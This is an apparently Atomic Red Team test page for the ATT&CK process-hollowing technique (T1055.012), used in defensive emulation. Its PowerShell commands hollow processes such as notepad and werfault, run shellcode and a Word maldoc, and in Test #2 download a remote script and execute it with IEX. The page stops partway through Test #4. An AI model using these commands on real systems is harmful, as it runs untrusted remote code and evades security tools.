# T1055.012 - Process Injection: Process Hollowing

## Description from ATT&CK

> Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
> 
> Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)
> 
> This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

[Source](https://attack.mitre.org/techniques/T1055/012)

## Atomic Tests

- [Atomic Test #1: Process Hollowing using PowerShell](#atomic-test-1-process-hollowing-using-powershell)
- [Atomic Test #2: RunPE via VBA](#atomic-test-2-runpe-via-vba)
- [Atomic Test #3: Process Hollowing in Go using CreateProcessW WinAPI](#atomic-test-3-process-hollowing-in-go-using-createprocessw-winapi)
- [Atomic Test #4: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)](#atomic-test-4-process-hollowing-in-go-using-createprocessw-and-createpipe-winapis-t1055012)

### Atomic Test #1: Process Hollowing using PowerShell

This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)

**Supported Platforms:** Windows

**auto_generated_guid:** `562427b4-39ef-4e8c-af88-463a78e70b9c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_download_url | Download url for Start-Hollow.ps1 | string | https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/720d8fe82396faf74f2ca19a3fe99a5c262a14b9/Start-Hollow.ps1|
| script_path | Path to Start-Hollow.ps1 | path | PathToAtomicsFolder&#92;T1055.012&#92;src&#92;Start-Hollow.ps1|
| hollow_binary_path | Path of the binary to hollow (executable that will run inside the sponsor) | string | C:&#92;Windows&#92;System32&#92;cmd.exe|
| parent_process_name | Name of the parent process | string | explorer|
| sponsor_binary_path | Path of the sponsor binary (executable that will host the binary) | string | C:&#92;Windows&#92;System32&#92;notepad.exe|
| spawnto_process_name | Name of the process to spawn | string | notepad|

#### Attack Commands: Run with `powershell`!

```powershell
. "#{script_path}"
$ppid=Get-Process #{parent_process_name} | select -expand id
Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
```

#### Cleanup Commands

```powershell
Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Start-Hollow.ps1 must be installed

###### Check Prereq Commands

```powershell
if (Test-Path "#{script_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
try {
  iwr "#{script_download_url}" -OutFile (New-Item -Path #{script_path} -Force)
} catch {
  Write-Error $_
  Exit 1
}
```

### Atomic Test #2: RunPE via VBA

This module executes notepad.exe from within the WINWORD.EXE process

**Supported Platforms:** Windows

**auto_generated_guid:** `3ad4a037-1598-4136-837c-4027e4fa319b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ms_product | Maldoc application Word | string | Word|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
```


#### Dependencies: Run with `powershell`!

##### Description: Microsoft #{ms_product} must be installed

###### Check Prereq Commands

```powershell
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
```

### Atomic Test #3: Process Hollowing in Go using CreateProcessW WinAPI

Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)

**Supported Platforms:** Windows

**auto_generated_guid:** `c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| hollow_binary_path | Path of the binary to hollow | string | C:&#92;Windows&#92;System32&#92;werfault.exe|
| hollow_process_name | Name of the process to hollow | string | werfault|

#### Attack Commands: Run with `powershell`!

```powershell
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
```

#### Cleanup Commands

```powershell
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
```
### Atomic Test #4: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)

Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
allows for the retrieval of output generated from executed shellcode.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)

**Supported Platforms:** Windows

**auto_generated_guid:** `94903cc5-d462-498a-b919-b1e5ab155fee`

#### Inputs

|